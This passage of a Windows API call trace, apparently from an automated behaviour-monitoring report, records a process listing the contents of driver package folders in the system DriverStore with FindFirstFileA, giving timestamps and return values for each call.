ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6be54bc0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.142] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\megasas.inf_amd64_neutral_395276dd9b7a7448\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41b0c5c4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x619efb31, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x619efb31, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.149] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\megasas2.inf_amd64_neutral_599d713507780ed4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41bcaca5, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61a3bdf1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61a3bdf1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.151] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\megasr.inf_amd64_neutral_30b367f92ca46598\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41cd5647, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61a61f52, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61a61f52, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.152] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\memory.inf_amd64_neutral_c2d2c213c3138487\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e44cb5f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x608f9e52, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x608f9e52, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.153] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mf.inf_amd64_neutral_b263d46928b97a9b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x412dda15, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x615eb609, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x615eb609, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.156] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\modemcsa.inf_amd64_neutral_b64a610f1f09f267\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36fdb593, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3b424d31, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3b424d31, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.157] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\monitor.inf_amd64_neutral_ab477c4d805d044f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a93c912, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5fa3f617, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5fa3f617, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.159] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mpio.inf_amd64_neutral_0c74c0f95001b61c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37451edb, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3b5eddb4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3b5eddb4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.160] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\msclmd.inf_amd64_neutral_413d17c790177eef\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3fb35f49, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60f5f97d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60f5f97d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.162] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\msdri.inf_amd64_neutral_86bb50f34c49ae71\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x822395ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x83df1a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8225f85e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.163] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\msdsm.inf_amd64_neutral_be2b348981b2ef17\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x373937fa, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3b5a1af4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3b5a1af4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.164] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\msdv.inf_amd64_neutral_571f87a277565224\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e9a7ce9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x83a8429c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x60ac2ed5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.165] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mshdc.inf_amd64_neutral_aad30bdeec04ea5e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39fc30ab, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x461c3311, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x461c3311, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.171] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\msmouse.inf_amd64_neutral_7a5f47d3150cc0eb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4121f334, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x615c54a9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x615c54a9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.176] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\msports.inf_amd64_neutral_fdcfb86ce78678d1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43b2eeff, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x62139e9e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x62139e9e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.184] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mstape.inf_amd64_neutral_c2bb3ef1c45cd5a1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e851087, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60a9cd75, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60a9cd75, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.186] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mtconfig.inf_amd64_neutral_4de24f49b5e60c45\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4587de15, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6599c826, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6599c826, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.188] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\multiprt.inf_amd64_neutral_988a34fc912eab54\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e25d97c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x608adb91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x608adb91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.189] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\net1kx64.inf_amd64_neutral_1f62482fbb9e52a5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x440fc4aa, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x62375342, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x62375342, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.190] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\net1qx64.inf_amd64_neutral_85d10fa4c777b7be\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x441bab8b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x62459b84, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x62459b84, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.191] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\net1yx64.inf_amd64_neutral_ed16756f950857e8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x447ae296, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x62a00fce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x62a00fce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.194] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\net44amd.inf_amd64_neutral_db76873d4261eb11\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x454798ee, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65891e84, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65891e84, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.195] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\net8185.inf_amd64_neutral_4ab014d645098f5f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x405ec25d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x612333a3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x612333a3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.202] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\net8187bv64.inf_amd64_neutral_d9eee378245b3b8b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ecedb2f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60b5b456, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60b5b456, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.203] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\net8187se64.inf_amd64_neutral_c239ab5d36a3b3e9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ec555ae, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60b352f6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60b352f6, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.205] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netathrx.inf_amd64_neutral_905772087ff288af\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4046f49a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61128a01, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61128a01, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.206] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netb57va.inf_amd64_neutral_6264e97d4fc12211\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x455d0550, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x658de145, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x658de145, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.208] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netbc664.inf_amd64_neutral_673d3dfb961e9b17\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x402802b7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61090480, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61090480, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.210] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netbvbda.inf_amd64_neutral_2bfa4ea57bd5d74a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50f7baa6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c4ba6eb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c4ba6eb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.212] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netbxnda.inf_amd64_neutral_c81780c5dcabd0a0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50ebd3c5, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c49458b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c49458b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.213] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\nete1e3e.inf_amd64_neutral_f77725472d91b1d1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43fa5847, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x621ac2bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x621ac2bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.214] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\nete1g3e.inf_amd64_neutral_7f08406e40c6ede2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45348dec, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x656c8e01, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x656c8e01, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.216] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netefe3e.inf_amd64_neutral_b71dd3dadc5c3e27\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44572df2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x628d04cc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x628d04cc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.217] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netevbda.inf_amd64_neutral_bab421df9c31cc81\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5103a188, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c4e084c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c4e084c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.218] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netg664.inf_amd64_neutral_b4e8ccc6ba210e97\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4504f266, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6557219e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6557219e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.220] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netimm.inf_amd64_neutral_9b64397618841a19\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45916396, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6599c826, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6599c826, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.221] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netirda.inf_amd64_neutral_93a886f96cea2847\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d167c9c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x606e4b0e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x606e4b0e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.224] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netk57a.inf_amd64_neutral_8b26ad5d0cc037a9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x456daef2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x659766c6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x659766c6, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.226] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netl160a.inf_amd64_neutral_f8bdd2cbac28a8fd\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4486c978, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x62ae5810, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x62ae5810, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.227] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netl1c64.inf_amd64_neutral_30b0b06f47cab8cf\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44f6aa24, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6365a205, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6365a205, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.228] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\netl1e64.inf_amd64_neutral_22118b1072f57433\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44b4039d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x62b0b970, ftLastAccessTime.dwHighDateTime=0x1ca0444, 